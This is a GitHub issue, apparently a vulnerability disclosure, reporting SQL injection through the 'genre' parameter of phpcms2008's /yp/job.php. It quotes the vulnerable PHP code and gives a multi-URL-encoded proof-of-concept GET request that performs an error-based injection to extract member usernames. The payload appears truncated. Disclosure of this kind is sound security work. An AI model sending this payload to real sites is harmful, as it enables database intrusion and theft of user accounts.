<> Code   ⊙ Issues 15   ⫙ Pull requests   ▷ Actions   ▦ Projects   ⊘ Security   ⋯

New issue   Jump to bottom

phpcms2008 /yp/job.php genre parameter sql inject #6

⊙ Open   **blindkey** opened this issue on Feb 17, 2020 · 0 comments

blindkey commented on Feb 17, 2020   Owner

/yp/job.php

```
65
66        case 'applylist';
67        $head['keywords'] .= '简历列表';
68        $head['description'] .= '简历列表'.'_'.$PHPCMS['sitename'];
69        $head['title'] .= '简历列表'.'_'.$PHPCMS['sitename'];
70        $templateid = 'job_applylist';
71
72        if($inputtime)
73        $time = time() - 3600*$inputtime*24;
74        else $time = 0;
75        if($time < 0 )$time = 0;
76        $where = "edittime >= '{$time}' ";
77        $genre = urldecode($genre);
78        if($experience)$where .= "AND experience >= '{$experience}' ";
79        if($genre)$where .= "AND edulevel = '{$genre}' ";
80        break;
81
82        case 'show':
83        $templateid = 'job_show';
84        $jobid = intval($id);
85        require_once MOD_ROOT.'include/yp.class.php';
86        require_once MOD_ROOT.'include/company.class.php';
87        $company = new company();
88        $yp = new yp();
89        $yp->set_model('job');
90        $rs = $yp->get($jobid);
91        $head['keywords'] .= $rs['keywords'].'_人才招聘';
92        $head['description'] .= $rs['title'].'_人才招聘'.'_'.$PHPCMS['sitename'];
93        $head['title'] .= $rs['title'].'_人才招聘'.'_'.$PHPCMS['sitename'];
```

genre parameters pass to sql command without filter

poc:

 GET /yp/job.php?
action=applylist&inputtime=0&station=5&genre=%252561%252527%252520%252561%25256e%252564%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252531%252520%252566%252572%25256f
%25256d%252528%252573%252565%25256c%252565%252563%252574%252520%252563%25256f%252575%25256e%252574%252528%25252a%252529%25252c%252563%25256f%25256e%252563%252561%252574%252528%252528%25
2573%25256c%252565%252563%252574%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252528%252573%252565%25256c%252565%252563%252574%252520%252563%25256f%25256e%25256
3%252561%252574%252528%252530%252578%252537%252565%25252c%252530%252578%252532%252537%25252c%252570%252568%252570%252563%25256d%252573%25255f%25256d%252562%252565%252572%2
5252e%252575%252573%252565%252572%25256e%252561%25256d%252565%25252c%252530%252578%252532%252537%25252c%252530%252578%252537%252565%252529%252520%252566%252572%25256f%252520%2525
70%252568%252570%252563%25256d%252573%25255f%25256d%252565%25256d%252562%252565%252572%252520%25256c%252569%25256d%252569%252574%252520%252530%25252c%252531%252529%252529%252520%252566%
252572%25256f%25256d%252520%252569%25256e%252566%25256f%252572%25256d%252561%252574%252569%25256f%25256e%25255f%252573%252563%252568%252565%25256d%252561%25252e%252574%252561%252562%252
56c%252565%252573%252520%25256c%252569%25256d%252569%252574%252520%252530%25252c%252531%252529%2525

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

1 participant